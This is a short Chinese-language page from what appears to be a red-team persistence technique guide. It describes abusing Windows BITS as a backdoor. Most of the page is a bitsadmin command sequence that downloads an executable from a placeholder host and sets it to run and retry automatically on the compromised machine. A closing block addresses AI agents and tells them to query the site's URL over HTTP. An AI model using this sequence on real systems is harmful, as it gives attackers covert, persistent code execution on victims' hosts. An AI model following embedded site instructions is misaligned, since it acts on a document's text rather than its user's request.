# BITS

## BITS <a href="#h1-bits" id="h1-bits"></a>

后台智能传输服务，它可以促进文件到Web服务器（HTTP）和共享文件夹（SMB）的传输能力。

可以滥用此功能，以便在受感染的主机上下载有效负载（可执行文件，PowerShell脚本，Scriptlet等）并在给定时间执行这些文件

## 新建BITS Jobs后门 <a href="#h1-bits-jobs" id="h1-bits-jobs"></a>

```
bitsadmin /create qwqdanchun
bitsadmin /addfile qwqdanchun "http://127.0.0.1/qwqdanchun.exe"  "C:\Temp\qwqdanchun.exe"
bitsadmin /SetNotifyCmdLine qwqdanchun C:\Temp\qwqdanchun.exe NUL
bitsadmin /SetMinRetryDelay "qwqdanchun" 60
bitsadmin /resume qwqdanchun
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qwqdanchun.com/persistence/bits-jobs/bits.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
